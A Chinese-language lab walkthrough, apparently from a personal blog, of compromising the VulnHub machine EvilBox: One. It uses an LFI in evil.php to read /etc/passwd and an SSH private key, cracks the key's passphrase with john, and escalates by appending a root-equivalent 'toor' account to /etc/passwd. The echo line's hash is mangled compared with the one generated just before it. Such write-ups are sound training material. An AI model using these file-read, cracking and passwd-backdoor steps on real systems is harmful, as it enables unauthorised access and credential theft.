准备
攻击机:kali/win11
靶机:evilbox:one : NAT 192.168.91.0 网段
下载链接:
https://download.vulnhub.com/evilbox/EvilBox—One.ova.torrent
注意
测试发现靶机不能正常获取IP地址。需要进入拯救模式修改网卡配置信息,将 错误的网卡名称修改为 ens33即可。
参考链接:
https://www.ohhhhhh.top/2021/12/09/web渗透——dawn/
主机发现
python3 ping.py -H 192.168.91.0/24
端口扫描
nmap -sV -A -p- -T4 192.168.91.193 --oN nmap.txt
如图所示开放了 22,80两个端口。
目录扫描
挨个儿查看一波。
http://192.168.91.193/robots.txt
robots.txt 页面得到了一个 name : H4x0r
http://192.168.91.193/secret/evil.php
如图所示: evil.php 是看不见任何内容的。
模糊测试
ffuf -c -r -u 'http://192.168.91.193/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0
如图所示:FUZZ = command , 文件包含漏洞,我们在浏览器访问一下:
http://192.168.91.193/secret/evil.php?command=/etc/passwd
如图所示:除了 root 之外还有一个用户名: mowree 具有 /bin/bash .
既然是文件包含漏洞,无异于 include ,requere函数,尝试一下伪协议读取文件内容。
伪协议:
http://192.168.91.193/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
得到base64:
PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==
解码为:
<?php
$filename = $_GET['command'];
include($filename);
?>
现在很明确知道了 就是一个 include()函数。未作任何过滤。现在我们需要尝试取读取对我们有用的文件。在前面端口扫描处我们知道开放了 22: ssh 服务,因此我们尝试读取一下 mowree 用户的是否存在私钥泄露。。
一般用户的 .ssh 目录下会存在三个文件:
- id_rsa : 私钥。
- authorized_keys : 认证关键字文件。
- id_rsa.pub : 公钥。
http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/id_rsa
http://192.168.91.193/secret/evil.php?command=/home/mowree/.ssh/authorized_keys
认证关键字有用户信息: 用户名@主机名
将私钥保存到kali当中。
私钥破解
现在我们拿到了 私钥: id_rsa 可以用于ssh登陆,但是还差密码,所以破解密码,需要一个脚本: shh2john
https://github.com/aniello001/ssh2john
python3 ssh2john.py /root/myfiles/bj/linux/evilbox/id_rsa > hash.txt
如图所示:生成了 hash文件。
现在使用john 破解
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
如图所示: 得到了密码: unicorn 独角兽。
登陆
ssh -i id_rsa mowree@192.168.91.193
如图所示:登陆成功。
flag1
提权
现在想办法提权。
首先查找是否有 SUID 提权。同时发现 sudo -l 无法使用
find / -perm -u=s -type f 2>/dev/null
如图所示:发现没有可用的SUID文件。因此此方法行不通。
发现 history 查看历史记录,没有用。内核提权也不行。
在靶机上运行 ./lse.sh 进行枚举一下。自行将其下载到靶机中,然后运行。
./lse.sh -l 1 -i | more
其中发现:can we write to critical files?(我们能写关键文件吗?) 为 绿色的 yes.
如图所示:可以看到能写的文件为 /etc/passwd , 这个文件能写,那么我们可以通过 openssl 修改 root 的密码。或者添加一个具有 root 权限的用户。
在这里我们添加一个等同于root的用户 toor,密码也为 toor。
参考我以前的笔记:
https://www.ohhhhhh.top/2021/12/17/web渗透——AI-WEB1and2/
输入命令:
openssl passwd -1 -salt toor
解释: -1 : md5加密; -salt:加盐,若和密码一样,则等同于用户名。
如图所示:生成了加密的密码
$1$toor$2SrtV0M1RHrAj9uQL5C7w/
然后将 toor和这串加密密码添加到 /etc/passwd 末尾,格式与root用户的格式类似。
echo ‘toor:1toor$2SrtV0M1RHrAj9uQL5C7w/:0:0::/root:/bin/bash’ >> /etc/passwd
如图所示:成功添加到/etc/passwd 末尾。
现在尝试切换到用户 toor
如图所示:su toor ,密码 toor后给成功切换到了 root ,用户名由 toor 变为了 root。
至此提权完毕。
flag2
总结
- ffuf 工具进行模糊测试。
- 私钥破解密码。
- openssl 提权。
- lse.sh 枚举大法好。
- 之前做过一遍。
- 对于这个靶机需要掌握 ffuf 工具的使用,还需要掌握 id_rsa 私钥的破解方法,以及 openssl 生成并修改密码,以及枚举工具 enumeration(lse.sh) 的使用,这个工具可以枚举出系统中的敏感文件,对于提权有很大的方便。